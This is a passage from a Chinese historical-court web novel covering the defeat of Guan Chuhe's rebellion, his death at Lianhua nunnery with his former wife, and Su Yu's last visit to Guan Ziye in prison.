程喻信上说,再有半年他就要回京。 虽然不是每个人官员都能分配到官邸,但程喻做为太子的老表,肯定能分到官邸。 只是现在京城六部乱成一团,今天还在上班,明天弄不好就拉出去砍头了,能安心上班的没几个。 这种情况下,份内的正事都干不完,哪里还有心思巴结。 “是。”太安应着,“姑娘思虑周全。” 苏钰道:“这些日子也没见过大哥,外头是什么情况了。” 邸报上只写死亡名单,战状如何却一句没有交代,这让人不禁担心。 直隶离京城太近,关楚河在京城经营多年,就是突然打进紫禁城,似乎都不意外。 “薛驸马派谢大人去直隶打点,说是过些日子太子殿下会去直隶。”太安说的很含蓄。 薛驸马是显庆皇帝心腹中的心腹,得知关楚河起兵后,显庆皇帝直接让薛驸马住进了乾清宫,贴身保护。 每天的战报都会传至宫中,薛迟早就交代,不准对外泄露,薛驸马明显不在这个外人范围内。 像薛驸马这种老油条,这种时候派自己的亲儿子过去,说是帮忙,不如说是知道战况有利,想着分点功劳。 到薛迟过去时,肯定是大局己定。 苏钰听得笑了,舒口气说着,“那就好,二叔一直没消息传来,我还挺担心的。” 太安又道:“大姑娘,还有一事,南魏那边送来了婚书,要议定娶亲的日子。” 南魏太子夜烬阳提出来的两国联姻,大周都内战了,没想到对方还想着,竟然写了书信来,要商议迎亲的日子。 苏钰也有些意外,“二姑娘知道吗,她怎么说?” 太安道:“奴才正要去回禀二姑娘。” 那就是罗星还不知道,苏钰便道:“你不用去了,我约了二姑娘一起看杂耍,正要过去。” “是。”太安应着。 苏钰挥手,太安行礼退下。 苏钰休息吃了午饭,去了烟雨楼。她与罗星昨天约好的,一起看杂耍。 关太后的国孝己经不重要,但京城外头就在打仗,京城里头正在大清洗,每天死不完的人。 别说戏班子,连品花楼和摘星楼都关门了,一丁点娱乐都没有。 罗星府里呆着寂寞,但这种混乱的情况,又不好出门浪。 幸好管事找了一个杂耍班子,还会吹拉弹唱,至少看着挺热闹。 “来了。” 罗星廊下坐着,看到苏钰便招招手。 小丫头赶紧搬来椅子,苏钰坐了下来,只见院里杂耍班子己经到位,看到主子到齐,开始表演。 难得休闲时刻,苏钰背靠着椅背,看着杂耍班子的卖力表演。 高门大户的娱乐都是很是讲究的,杂耍这种上不得台面的,根本就不会请到府里。 在京城这么多年,除了路过天桥时看到过,在家里看表演,这还是第一次。 “刚才太安跟我说,南魏写了信来,说了联姻之事,要开始选日子。”趁着杂耍班子休整的空闲,苏钰对罗星说着。 罗星无所谓说着,“夜烬阳自己说的要联姻,那就联姻。” 联姻之事,没人逼他,他乐意,那就联姻。 苏钰不禁看向罗星,问,“南魏太子突然要联姻,到底是为了什么?” 罗星笑着道:“还能为什么,以为这样可以制衡我,傻子一个,不用理会。” 夜烬夜做为太子,野心是很大的,不但想当皇帝,还想当实权皇帝。 他当时想的是,揭穿她的身世,让她这个国师唯一弟子无法在南魏立足,以此削弱国师府的影响力。 想法很好,只是太天真。 神权国家是不讲道理的,像大周这样的,夺嫡之争大家还能凭借拳头硬。 神权国家是神说什么就是什么,尤其是罗宗涛三十不到,正值壮年,是掌控力最强的时候。 她的身世甚至没在南魏掀起一丁点浪花,夜烬阳所有的打算落了空。 “幸好南魏不是夜烬阳当权,不然早晚得灭国。”罗星嘲讽说着。 在周边诸国中,南魏的地理优势是最差的,慕容氏都比南魏强。 南魏能支撑这么多年,而不是像慕容氏那样降了大周。不能说全凭信念,但内部从未分裂过,确实是极大的优势。 神权立世,也强化了民众的意念。 夜烬阳的理想是像大周和北齐那样,不但皇帝当权,还希望开民智,普及科举之地,让一切更有序,而不是神神叨叨的蛮夷之地。 他却从来没有想过,南魏平地都不多见,毒虫沼泽环绕的地理环境,绝大多数人都是用尽全身力气才能勉强活下来,根本就供不起这样的文明。 苏钰有些明白了,“那我就让人开始准备婚事,联姻嘛,也算是一件喜事。” 无关痛痒的联姻,也就失去了联姻的意义。就当普通的嫁娶来看,反正苏家的人选也挑好了,府邸早就开始收拾整理。 让礼部按和亲流程来,苏珩高高兴兴娶媳妇,不作妖不闹事,就好吃好喝供着,过几年打发去直隶。 第 204 章【VIP】 第204章 第 204 章 直隶做为京城的护…… 直隶做为京城的护城河, 一直都有驻军。 关楚河能在直隶起兵,手上握的就是支驻军,京畿重地,驻军的实力也非比寻常。 苏天华也不是吃素的, 麾下的兵马常年跟随他征战多年, 历经无数战火的洗礼, 皆是精锐之士。 战事持续了三个月, 终于看到胜利的曙光。 “杀,杀!” 震耳欲聋的厮杀声, 仿佛要将整个天空都撕裂开来。 战场上,刀光剑影闪烁,喊杀声、惨叫声交织在一起,构成了一幅惨烈的修罗场画面。 苏天华骑在马上,立于阵前, 有条不紊地指挥着士兵们。 薛迟在他身侧,看着前方战况。 战事比他想像中的持久,不是苏天华不是努力, 而是关楚河更能打。 京城一直有传闻, 苏天翊太过于优秀, 生生压住了关楚河。要是没有苏天翊,关楚河肯定是一枝独秀。 薛迟一直觉得, 关太后掌权, 关楚河大权在握,这是为了造势吹牛的。 直到此时造反了,实战证明了,关楚河确实是一员战将,手下也确实有一批跟他出生入死的能人。 “报, 城门己破,谢大人己带着人进了城。”传令兵飞奔传报。 “好,进城。”苏天华大喜,对薛迟恭敬说着,“请殿下先行。” “苏将军请。”薛迟微微颔首,客气地回应道。 薛迟一抖缰绳,骑着马率先向前走去。 苏天华则率领着士兵紧紧跟随其后,浩浩荡荡地向着城内进发。 此时的城内,战事刚刚结束,一片狼藉。 大街小巷到处都是横七竖八的尸体,残肢断臂随处可见,刺鼻的血腥味弥漫在空气中,让人作呕。 许多店铺都在战火中被摧毁,坍塌的房屋冒着袅袅青烟。 谢无衣作为前锋,一路奋勇杀敌,直到了县衙。 关楚河在直隶起兵,直接占领了县衙,县令听到风声早跑了,倒是捡了一条命。 “大人,发现一小股反叛军。”一名士兵匆匆跑上前来报告,“现已抓获,请大人示下。” 说话间,一群士兵押着六七个人走了过来。个个满身血污,衣衫褴褛,头发凌乱地披散在肩头,脸上也沾满了尘土和血迹。 “三皇子!” 谢无衣身边的护卫喊了出来,声音很大,押解他们的士兵都愣住了。 谢无衣上前一步,把一个脸上涂着血泥的少年拉了出来。 皇子伴读,有很长一段时间,谢无衣与三皇子几乎是住一起的,朝夕相处。 不用护卫喊,谢无衣也看到了。只是这一声喊,让他不得不“认出”三皇子。 “是你啊。” 三皇子的声音沙哑而无力,仿佛是从喉咙深处挤出来的一般。 “是你啊。”三皇子沙哑的声音中透着死灰之气。 关楚河跑了,没带他。 兵败如山倒,谁也管不了谁。从被皇陵绑过来起,他就知道自己命不久矣。 谁让他姓关呢,又是皇子,这是原罪。 “你……” 谢无衣看着这个曾经的好友,一时间竟无言以对,他的心情复杂到了极点。 三皇子要为了权利不择手段之人,成王败寇无话可说。 但他不是,心性良善,尽力周全身边之人。甚至最后情愿去守皇陵。 结果还是没有逃过命运,从关楚河起兵那天起,不管三皇子有没有参与,他都跑不掉。 “杀了我吧。”三皇子声音虚脱,“能死在你手里,我很高兴。” 自己的死,可以为好朋友换份功劳,也挺不错的。 谢无衣心中越发觉得难受,甚至在那一瞬间,他真的动了放过三皇子的念头。 就在这时,谢无衣的护卫突然毫无征兆地拔刀刺向三皇子,长刀带着一股凌厉的杀气,直刺三皇子的胸口。 这样近的距离,本以为肯定能成功。 千钧一发之际,谢无衣侧身一闪,伸出手臂奋力一挡。 只听 “噗” 的一声闷响,刀尖狠狠地刺进他肩膀,鲜血瞬间染红了他的衣衫。 护卫大惊失色,他怎么也没想到谢无衣会出手阻拦。 谢无衣脸色苍白,却强忍着剧痛,飞起一脚将那护卫踢倒在地上,怒声喝斥,“你为何要此?” “公子,三皇子留不得。” 护卫从地上爬起来,声音不自觉地压低了,小心翼翼地说道,“这是驸马爷的意思。” 直隶之战,薛驸马有心让谢无衣来蹭个战功,同时也担心一件事。 谢无衣与三皇子交好,万一遇到三皇子,有放他一马心思就会坏菜。 特意指派了自己的心腹护卫,保护谢无衣的安全是一方面,更重要的是,若是谢无衣心软,马上杀了三皇子,以绝后患。 谢无衣心头大震,脸色变得难看至极,却没有再责备护卫。 就在此时,薛迟与苏天华也率领着大队人马赶到了。 薛迟人在马上,刚才那幕他看得清清楚楚。 “解押回京。”薛迟神色不变,语调一如即往的平和。 *** 清晨的莲花庵,被一层淡淡的薄雾笼罩着,透着一股清冷与宁静。 像往常一样,圣和师太带领着众尼姑做早课。手中的木鱼槌有节奏地敲击着,伴随着众尼姑的诵经声,在大殿内悠悠回荡。 然而,今日的圣和师太,心却难以入定。 关家出事了,关楚河造反了,这样的大事,哪怕是在莲花庵都是知道的。 关楚河,她的丈夫。 没有和离书,也没有休书,更没有夫妻失和,出家是她自己的选择。 念珠在她指尖快速地滑动着,不自觉得手指用力。 就听“啪” 的一声脆响,圣和师太手中的珠串竟然断了。佛珠像断了线的珠子,散落一地,在青石板上滚动着,发出清脆的碰撞声,声音在寂静的大殿中显得格外突兀。 正做早课的众尼姑不禁抬头看向圣和师太,眼中皆带着诧异。 圣和师太双目失神,捏着断线的手指微微颤抖着,薄唇紧抿着。 她很快收拢神情,缓缓放下断掉的珠串,重新拿起木鱼槌,闭目敲起木鱼。 木鱼声再次响起,恢复了平稳的节奏。诧异的众人在这熟悉的声音中,缓缓收回目光,带着一丝疑惑,继续做起早课。 早课结束,众尼姑去饭厅吃早饭,圣和师太没去饭堂,而是回了房间。 做为莲花庵的主持,圣和师太的房间就供着佛象,她缓缓跪了下去,抬头看向佛像时,眼中有一丝迷茫。 她想求佛祖保佑关楚河,可他杀人无数。 “信女愿永坠无间,换他一生平安。”圣和师太跪拜说着。 圣和师太一直在佛前跪到晚上,常年侍奉她的老尼姑见她一天未出门,端着斋饭送进来。 “姑娘,吃点吧。”老尼姑说着。 她是圣和师太的陪房,圣和师太出家后,她也跟着出了家。 只有她们俩个时,老尼姑还是习惯叫圣和师太姑娘。 圣和师太摇摇头,“我吃不下。” 老尼姑知道她担心什么,轻叹口气,却不得不说,“直隶传来消息,说是城门己破。” 圣和师太沉默许久,眼中不知何时畜满泪水,好一会才说着,“我知道了。” “姑娘要去直隶吗?”老尼姑不放心问着。 圣和师太摇摇头,“他会来见我。” 及至次日,是个阴天,阴沉沉的看不到太阳。 正殿里众尼姑正做着早课,莲花庵门口却闹腾起来,千夫长带着兵士就要冲门,却被守门的尼姑拦住。 本来只赁一个小尼姑拦不住这些兵士,只是今天是初一,是上香的日子。 高门大户不敢出门,周围百姓是不管这些的,谁当皇帝与他们关系不大。 初一十五照样烧香,莲花庵不但是京城最好最出名的寺庙,也是唯一一个老百姓进的去的名刹。 像青云寺那种皇家寺庙,什么都很好,但不准平民百姓进入。 为了抢头香,天不亮就有无数百姓聚集在山门前,人山人海。 千夫长带着士兵想冲,根本就冲进不进去,人山人海,全是来上香的。 “重要逃犯在附近失踪,莲花庵是重大嫌疑,必须搜查。”千夫长手持大刀,大声说着。 香客们顿时变了脸色,倒不是因为惧怕,而是觉得太他妈扯蛋。 大初一的,哪来的神经病竟然敢来冒犯神明。 和尚庙搜就搜了,莲花庵是尼姑庵,还是收留了无数个神经病妇人的尼姑庵。多么人家的女儿妹妹媳妇在这里。 而且论起救苦救难,莲花庵做的从来都是实事,灾难施粥,挨饿吃不上饭了,只要过去了,就给一顿斋饭。 五年前是个灾年,当年只有五成收成,因为有莲花庵,周边村庄才没饿死人。 “今天是初一,敬神的日子,就是有逃犯也不敢来。”香客中有个老者上前说着。 他当地最大宗族的族长,说话向来有份量,此时才敢出来应对。 千夫长着急寻人,抓到关楚河,那就是奇功一件,这样泼天富贵哪能让跑了,当即喝斥着,“官府办差,闲杂人等退避。” 说着就去推长者,只见两个壮汉站到老者身后,硬是顶住了。 “你们想干什么?” 一个壮汉大声说道。 “就是,太欺负人了。” 另一个壮汉也气愤地说。 能在当地成大宗族的,人口都是巨多的,莲花庵的香客人更多。 人山人海的香客都不用特意围,只是眼神不善站着,都很有震慑力。 千夫长见此情形,也不敢轻易动粗,场面陷入了僵持之中。 就在这时,紧闭的山门缓缓打开,发出一阵低沉的 “嘎吱” 声。 众尼姑簇拥着圣和师太静静地站在山门前,她们身着素色的僧衣,神情庄重而肃穆。 圣和师太站在最前方,身姿挺拔,面容沉静,仿佛带着一种超脱尘世的淡然。 长长的阶梯上密密麻麻地站满了香客,众人的目光纷纷投向山门口的圣和师太。 圣和师太微微垂眸,目光扫过这拥挤的人群,随后迈着沉稳的步伐,缓缓走下台阶。 原本喧闹的山门顿时安静下来,人潮好像潮水一般,自动分开,为圣和师太让出一条道路。 圣和师太目光平静而慈悲,目光犹如一汪深邃的湖水。 当她的目光落到千夫长身上时,千夫长竟不自觉地后退了一步,心里说不出怯,还是敬。 圣和师太开口道:“官爷,莲花庵乃佛门清净之地,向来不涉世事,还望官爷不要在此地生事,以免惊扰了佛祖和众香客。” 千夫不自觉得咽了下口水,心中有些忐忑, “你就是这里的主持?本将军奉命搜查逃犯,如有阻拦……” 下面的话千夫长硬生生地咽了回去。 圣和师太的眸子瞬间冷了下去,再看看周围那些神色不善的香客。 多年战场经验告诉他,再说下去,他得挨打。 他也不确定关楚河真在莲花庵,只是有可能。便想带兵来搜查,碰碰运气。 闹腾一通,找出人还好,总是大功一件。 要是找不出人,就难收场了。 “想来是线报有误,就不打扰师太们清修了。” 千夫长十分识实务地改口,脸上挤出一丝略显尴尬的笑容。 说着,他对手下人大手一挥,一行人匆匆忙忙地离开了。 “我佛慈悲。” 圣和师太望着他们离去的方向,缓声说道。 第 205 章【VIP】 第205章 第 205 章 “郎骑竹马来,绕…… “郎骑竹马来, 绕床弄青梅。” 断断续续的声音从床上传来,全身血迹的关楚河喃喃自语着。 造反就会失败,本就是大概率事件,谈不上后悔。毕竟不造反肯定死, 造反也许还有一线生机。 临死之前, 他唯一的愿望, 就是来莲花庵。 圣和师太出家之初, 关楚河极力反对。 只是反对无用,圣和师太去意己决。后来翻修莲花庵时, 关楚河就派了人手,悄悄修了一条密道。 只是他当时也没有想过,这个时候密道派上了用场。 卧室门推开又关上,圣和师太脚步很轻,抬头看到床上躺着的关楚河时。虽然早就想到了, 依然一脸震惊,快步走到床前。 “你来了。”关楚河说着,伤的太重, 瞳孔有些涣散。 从直隶一路逃回京城, 身边的亲卫死的死, 伤的伤。送他进莲花庵后,他就让他们都走了。 都到这一步了, 各自逃生, 能活一个是一个。 圣和师太眼泪落了下来,转身去取药箱,“我帮你包扎。” 关楚河拉住她的手,挣扎着坐起身来,“我想抱抱你。” 圣和师太在床边坐下来, 眼泪止不住往下掉。 不让她包扎,是觉得没必要了。 “怎么又哭了,明明知道我不喜欢的。”关楚河气若游丝,用尽全力把圣和师太抱在怀里。 因为太虚弱,他把头轻轻地放到圣和师太的肩膀上,身体微微颤抖着。 圣和师太任由他抱着,血污沾到了她身上的纳衣上,那刺目的红色在素净的纳衣上显得格外扎眼,但她却浑然不在意,只是紧紧地抱着关楚河。 “第一次见你的时候,你就在哭。”关楚河说着。 他与圣和师太是青梅竹马,两家大人交往不多,只是住的近,是邻居。 一个庶子,一个庶女,生母又都不在了。面对不太坏的嫡母,勉强过日子。 男孩子小时候总是顽皮些,从小爬高上低。夏至那天,他去树上掏鸟蛋,打算晚上加个菜。鸟蛋刚上手,就听到隔壁院子里传来小女孩的哭声。 鬼使神差的,他没有像往常一样直接下来,而是顺着树爬到了邻居家里,怀揣着鸟蛋跑到小女孩面前。 “这两个鸟蛋给你,你别哭了。”年幼的关楚河把鸟蛋递给幼小的圣和师太。 幼小的圣和师太怔怔看着他,没有接鸟蛋,却是指了指眼前的死猫,哭泣说着,“我的咪咪死了,它死了。” 关楚河对死的小猫并不感兴趣,见她哭的伤心,便说着,“你哭它也不会活,我们把它埋了吧。” 那是他们的第一次相遇,一起埋了圣和师太养了一年的猫,以及关楚河送给了圣和师太两个鸟蛋。 关楚河一直觉得自己很幸运,两个鸟蛋当聘礼,就娶到了媳妇。 “我送你走。”圣和师太突然说着。 世人皆有私心,就是她奉了这么多年佛祖,也无法例外。 关楚河这么多年做了什么,她很清楚,但她也不能眼睁睁地看着他死。 经营莲花庵这些年,门下信徒无数,想偷偷做些事情并不难。 她给关楚河留了一条退路。 关楚河摇摇头,他会来见圣和师太,一是因为想见她。二则因为薛迟虽然对政敌绝不手软,但并不是怪罪妇孺之人。 只要他死了,薛迟不会罪及圣和师太。 “成王败寇,沦落至此,我并不无怨恨。”关楚河说着,目光落在圣和师太身上,“只是,我放心不下你……” 声音越来越低,圣和师太知道他己是强弩之末,拼着最后的力气来见她。 圣和师太哭到不能自抑,紧紧抱着他,却觉得他的身体越来越冷。 圣和师太娘家姓梅,梅家在京城是大户,但圣和师太这一房早己分家出来。父亲是嫡子,再加上进士出身,谋了一个五品小官,家境还是不错的。 只是这个不错,是相比勉强吃上饭的穷官,跟真正的京城大户,相差甚远。 这样的人家,最惨的往往不是庶子,而是女儿,不分嫡庶。 庶子还可以读书,可以经商,总能到外头讨口饭吃。而女儿只有嫁人这一个用处。 沾着高门大户的光,实际却差了一大截。偏偏当家老爷野心勃勃,能力又有限。 家中里的漂亮女儿就会成为筹码,不是攀高枝嫁高门,因为嫁不到。而是送出去当妾,甚至是玩物。 亲生女儿远比外头买的更好控制。 圣和师太打小就生的漂亮,十五岁生辰那天,就被父亲送出去,是父亲的长官。因为知道她不同意,父亲甚至给她下了药。 她被送到长官在京郊的别院,按父亲说的,要是讨好不了长官,被退回来了,还会继续把她往外送。 她当时想死的心都有了,然后关楚河出现了,他把对方杀了。 那一年,关楚河十六岁。 少男少女抵死的缠绵,关楚河一遍又一遍的说,一定会娶她。 如此的变故让圣和师太害怕极了,心里却是知道,关楚河杀了人,还是一个高官,此事绝不会善了。 关楚河是姓关,但关家那么多人,一个不起眼的庶子,出了这么大的事,没人保他。 幸运的是别院人少,侍侯的下人也不多。两人商议谋划着,处理尸体,火烧别院,连带着善后。 处理完一切,圣和师太看着关楚河,心里只有一个想法,私奔,只有私奔。 杀人毁尸,烧别院,这种办法可以拖延一时,早晚还是会查到他们身上。 关楚河却觉得这么跑了更不妥,大概率跑不掉。但梅家的情况,圣和师太肯定不能回去。 他把圣和师太偷偷安置在一处民宅里,然后回了关家。 “等着我,我一定娶你。”两个人分开时,关楚河向她保证。 大约一个月后,关楚河再次出现,把她送回了梅家。 隔天关家就媒婆上门,不外乎是门当户对,天作之合。 庶子配庶女,关家门第就是高些,一个偏房庶子娶个庶女,倒也配得。 梅父大喜,没想到还有这种好事。至于死去的长官,女儿丢失的这一个月,也不敢细问其中原由,连忙准备了嫁妆把圣和师太嫁了过去。 直到嫁过去后,圣和师太才晓的,关楚河被关家的族长赏识。 关家这样的大族,那么多子弟,能得族长赏识,圣和师太没问关楚河做了什么,大概也能猜到几分。 婚后圣和师太不想关楚河一个人太辛苦,几乎参与了所有事情,出谋划策,夫妻协力。 死的人越来越多,关楚河的前途越来越好,圣和师太的心境却有变化。 关楚河变了,又好像没变。 变得是冷血残酷,视人命如草芥。对权力财富的追求,让他踩着尸骨往上爬,不带一丝怜悯。 没变的是,对她依旧。 少时的感情经受住了考验,美女被拒之门外,关楚河依然喜欢晚上抱着她,把头埋在她的颈间。 圣和师太开始礼佛是因为流产,婚后夫妻亲密,却一直未有孕。 终于有了身孕,关楚河也十分高兴。她当时心里就隐隐有些不安,她若是没有参与过,还可以装做不知道。 但她是参与的,他们俩一起杀了那么多人。京城的高门大户,一旦失势,砍头流放都是常态。 因为孩子来之不易,圣和师太格外谨慎,却还是没留住。 大夫只让她小心安养,说她年轻孩子总会有的。 她却知道,不会再有了。 关楚河似有视察,许多事情不再告诉她,她也有意的开始回避。 只有晚上入睡时,关楚河紧紧抱着她,她靠在关楚河怀里,总是能从他身上闻到血腥味。 权力地位,金银富财的另一边,就是无尽的争斗,以及尸山血海。 她不禁想,人这一生到底是了为什么,权势地位,真有那么重要吗? 人不能活的太清醒,一旦开始反思,就会格外痛苦。 圣和师太开始礼佛,最初她也不知道要求些什么,或许只是想要心灵上的安宁。 慢慢的,她开始觉得,或许她该做些什么。 赎罪也好,真心想救人也罢。人的一生如此漫长,她不想困在四方小院里,纠结痛苦着,心灵总是需要归宿。 决定出家之前,圣和师太和关楚河彻夜长谈,结果显而易见,不欢而散。 后来很长一段时间里,关楚河早早回家陪着她,甚至带她出京游玩。 她很高兴,也很清楚,这种陪伴十分短暂。那么多年夫妻,她太了解关楚河。 最初的关楚河是为了保命而不得己,而现在的关楚河是真心实意的热爱着权势。 京城有太多东西,他放不下的。 “若是没有遇到我,你是不是就不会……”圣和师太哭泣着。 若是他们没有相遇,关楚河没有因为救她,杀人惹下大祸,他只是关家再普通不过的庶子。 少年时的关楚河并没有太大的野心和欲望,按照正常的人生轨迹。科举,娶妻生子,因为才能而被提拔,苦熬数年做到四品官,人生平淡而简单。 一场变故,人生完全变了模样。 屠龙少年终成恶龙,关楚河最终活成了少年时最讨厌的模样。 关楚河的眼晴几乎睁不开,气息也越来越弱:“我这辈子最高兴的事,就是救下你。” 即使后来权倾朝野,他也见不得弱女子被欺负。 哪怕是死对头苏家的女儿,他也会出手。 “把我的尸体交出去。”关楚河声音细不可闻,“好好活着。” 第 206 章【VIP】 第206章 第 206 章 “啪” 薛驸马…… “啪” 薛驸马的耳光甩到谢无衣脸上, 以前父子打打闹闹,真正动手的时候,少之又少。 谢无衣跪在地上,半张脸肉眼可见的肿了起来, 低着头, 依然不打算认错。 救下三皇子是下意识而为, 既使三皇子注定是要死的, 他也不后悔。 向来疼爱儿子的晋阳长公主,这一次却没有护着谢无衣, 又急又气说着,“这是造反,你以为是过家家啊。” 三皇子是个好人,造反也是关楚河主导,并不是他本人的意愿。 但论罪的时候, 可不会这么论。 谢无衣依然没作声,他知道是造反,一直协助薛驸马, 上战杀敌时他并没有心软。 连去了直隶, 他知道薛驸马想让他蹭军功, 他却主动当了前锋官。 这与他救三皇子并不冲突,多年好友, 他本能的不想三皇子死, 这又有什么错。 晋阳长公主见他依然不知错,只觉得心口堵着一团棉花,气的要背过气去。 她自幼生的皇家,都是亲身经历。远的不说,就说上一代的皇权之争。 关太后连自己的亲生女儿都能当做牺牲品, 杀到最后,只有显庆皇帝一个活着的皇子。但凡还有一个小的,关太后都不会让显庆皇帝活着。 到薛迟这一代,因为关太后,皇权之争更是从皇子出生就开始。 嫡长子又怎么样,翻开史书,历朝历代都算上,嫡长子承继大统的,凤毛麟角。 大皇子是皇长子,他不能活。三皇子的亲妈要是不姓关,薛迟未必会杀他。 偏偏三皇子是关贵妃亲生,关楚河又造反了。要是造反都不死,大臣岂不是可以为所欲为。 关太后为什么能掌权那么久,那是因为她够狠,杀的够多,大臣都怕她。 “这个孽子。”薛驸马气的恨不得给谢无衣几脚。 关家己除,显庆皇帝现在沉迷丹道,己经进入生命倒计时。 薛迟登基也就这两年的事,一直悬着的心终于能放下,加官进爵先不提,至少一家人性命无忧了。 偏偏唯一的儿子,这个时候发起了颠。 “三皇子己经关进刑部死牢,处置的圣旨最近就会下来。”薛驸马说着,看向谢无衣,“我这就进宫求见皇上,亲自送走三皇子。” 显庆皇帝沉迷丹道,一应事务皆是薛迟打理。如何处置三皇子,多半也是薛迟下旨。 本来这事与公主府也无关,但谢无衣去救三皇子,又偏偏被薛迟看个正着。 这么大的事,解释没用,必须得以行动表示。 做为显庆皇帝的心腹,薛驸马面圣很容易,哪怕是皇帝己沉迷于丹道。 由他向显庆皇帝进言,处置三皇子,薛迟就不用背负杀害兄弟的名声。 皇帝爹杀的,理所当然。 “父亲……” 谢无衣终于开口,“让他走的痛快些。” “这还用你说。”薛驸马没好气说着。 杀人不过头点地,三皇子好歹是皇子,都是有血缘关系的,最多也就是赐死,总不能凌迟。 晋阳长公主道:“最近你就呆在府里,过些日子我筹备认亲宴,把你的姓氏改回来。” 薛迟己经归位,谢无衣早该改回薛无衣,只是各种变故耽搁了。 原本还想着谢无衣还能更尽一步,现在看来,他还是当个富贵闲人吧。他们夫妻的从龙之功,总能保住两代的富贵。 伴君如伴虎,朝堂之事,稍有不慎就会丢了脑袋,不合适谢无衣。 *** 刑部死牢里,刑部仅剩的官员,颤颤巍巍的跟在苏钰身侧。 关氏一案牵扯甚广,刑部官员换了又换。新人上岗都是战战兢兢,生怕不小心给前同事背了锅。 但案子还是要办,活还得干,难得有机会出头,新人害怕之余还得卷。 “苏姑娘,死牢脏乱,污了您的眼。”新任刑部尚书颤颤巍巍说着,“您想见谁,臣马上把他提出来。” 早上刚到刑部,就有下属来报,苏钰到天牢门口,想进去。 牢头差点吓死,当场跪地了。不敢拦,不敢劝,只能跪着。 幸好苏钰通情达理,见状也没难为他。让他起身去传话,她则在牢门口等着。 下面的人跑的比兔子都快,虽然苏钰是坐在车里的,但苏天翊的女儿,未来的皇后,谁敢让她等着。 “我想进去看看。”苏钰语气平淡。 刑部尚书哪里还敢再说,马上道:“姑娘,请。” 刑部尚书前头引路,苏钰跟着往里走。 犯人太多,牢房根本就住不下,囚室里人堆人,大多数都是曾经的高官。 因为犯人太多,普通犯人连牢房都住不了,有些直接扔到破庙里,随便派个人看着。 这是苏钰第一次来这种地方,阴暗潮湿的气息扑面而来,腐臭的味道在空气中肆意弥漫。昏黄的火把在过道两旁摇曳不定,光影闪烁,映照出牢房内那一张张绝望而麻木的面容。 再往里就是死牢的位置,环境就更差了,刑部尚书试探问着,“姑娘想见哪位?” 牢里关的人实在太多,要是一个个找,真不知道找到什么时候。 “关子烨。”苏钰说着。 刑部尚书松口气,道:“请姑娘外头等待,臣马上提他过来。” 苏钰摇摇头,“就在这里,我只与他说几句话。” 刑部尚书连忙道:“那请姑娘这边稍坐。” 刑部尚书一边吩咐属下去提关子烨,一边引着苏钰到审讯室。 还在天牢上层,审讯室里还算干净。刑部尚书亲手擦了凳子,请苏钰上坐。 “委屈姑娘了。”刑部尚书陪笑说着。 片刻后,牢头提着关子烨进来。 考虑到要见的是苏钰,还特意给关子烨洗了脸,整理了头发,身上的囚服都是新的。 饶是如此,苏钰看到关子烨第一眼时,依然被吓了一大跳。 只见他身形消瘦,原本合身的囚服此刻松松垮垮地挂在身上,像是裹着一副骨架。 脸颊深陷,颧骨高高凸起,眼眶深陷,眼睛里却透着一股倔强的光。皮肤蜡黄,毫无血色,嘴唇干裂起皮,隐隐有血丝渗出。 当年的翩翩少年郎,顶级世家的贵公子,竟然变成如今的模样。 “阿钰果然讲义气,知道来送我一程。” 关子烨笑着,脸上笑容真挚,并没有临死前的怨念,眼中甚至还闪烁着一丝欣慰。 最后由苏钰送他走,他很高兴。 苏钰看着他,心情澎湃复杂,好一会才说,“你媳妇被娘家人带走,前不久跟着母亲回了江淮外祖家。” 关子烨与妻子周氏虽然是政治联姻,但周家出事比关家晚。 周父在关家出事后,就马上给周母写了休书,把周氏从羁押处带走后,周母带着她和家中另外两个女儿就回了娘家。 财产只带了一点点,不敢多带,带多了担心会被追究。 妻女只带着一点点保命钱离开,周家出事后,也无人追究,算是保住了。 周氏是怀着身孕的,据说到了外祖家后就落了胎,身子养好后,外祖家就开始张罗着给她说亲事二嫁。 “好,好,谢谢你带来的好消息。”关子烨长舒口气,终于开怀大笑,“这样我也放心了。” 他是真为周氏高兴,逃过这一灾,可以重新开始生活。 至于其他人,苏钰没说,也就没必要问了。 苏钰从手袋里拿出一小壶酒,放到桌子上。 看到酒,关子烨更高兴了,“临死还能喝一杯,我真是好福气。” 说着,径自拿起酒壶,一小壶酒被他一饮而尽, 苏钰想说什么都来不及。 “这辈子能认识你,是我之幸事。”关子烨说着,神色认真,“这里不是你该来的地方,你该走了。” 苏钰看着关子烨,默默从手袋里拿出一个小瓶,放到桌子上。 鹤顶红。 没有任何希望的牢狱生涯,她可以助他解脱。 关子烨笑着的脸顿了一下,随即释然笑了,他拿起小瓶,轻声说着,“谢谢。” 苏钰起身往外走,每一步都似有千金重。 她刚走到门口处,关子烨拔下木塞,把瓶中鹤顶红一饮而尽。 尸体落地的声音就在身后,苏钰脚步顿了一下,脸上己是泪流满面,却是吩咐着旁边的刑部尚书,“把尸身好好收敛安葬了。” “是。”刑部尚书连声应着。 从天牢出来,跟着的一起过来的绿川担心坏了,连忙迎了上去。 本想开口说什么,见苏钰神情不对,当即住了口,扶着苏钰上了马车。 热烘烘的车厢挡住了外头的冷意,苏钰闭目养神,却丝毫不觉得暖和。 成王败寇,没人能一直赢,而输家的下场就是这样。 回到苏家,苏钰刚在听雨轩坐定,胡婆子走上前来,小声说着,“关楚河死在了莲花庵,圣和师太给他收敛了尸体,葬在了后山。” 苏钰点点头,示意知晓了。 众所周知,圣和师太是关楚河的前妻。只是莲花庵不同别的地方,官兵也不好进去抓人。 苏天翊的意思,没必要逼太紧,关楚河临死前想见前妻一面,成全他也没什么。 关楚河一世枭雄,最后葬在莲花庵,也算有个归处。 次日清晨,云棠坐车到莲花庵,因为来的太早,山门还没有开。 身侧丫头不禁说着,“姑娘,我们为什么这么早过来?” 不是初一也不是十五,若是来上香,也不用来这么早。 云棠没作声,却在山门前跪下来,磕了三个头。 丫头更显得惊讶,云棠却是站起身,转身说着,“我们回去吧。” 关楚河死了,她不能哭丧,也不能吊唁,这是她唯一能做的。 丫头更显得惊讶,此时也顾不得问,跟着云棠上车回府。 坐车回府,像往常一样,云棠和苏玫一起管家理事。 中午吃饭时,叶氏唤两人一起吃饭,罗星跟着苏天华出门去,又是好几天不在家。 “现在京城大事己定,府里也终于能松口气。”叶氏笑着说,心情愉悦,“你们姐俩年龄也不小了,对婚事要是有什么想法,就与我说,没什么不好意思的。” 苏玫是和离归宗,云棠的情况更差。但不管怎么样,苏家的女儿绝不愁嫁。 两人都是正值青春年华,女儿家的花期珍贵,当长辈的总是要操心些。 苏玫与云棠皆是一愣,两人相视一眼,几乎是齐声说,“不用了。” 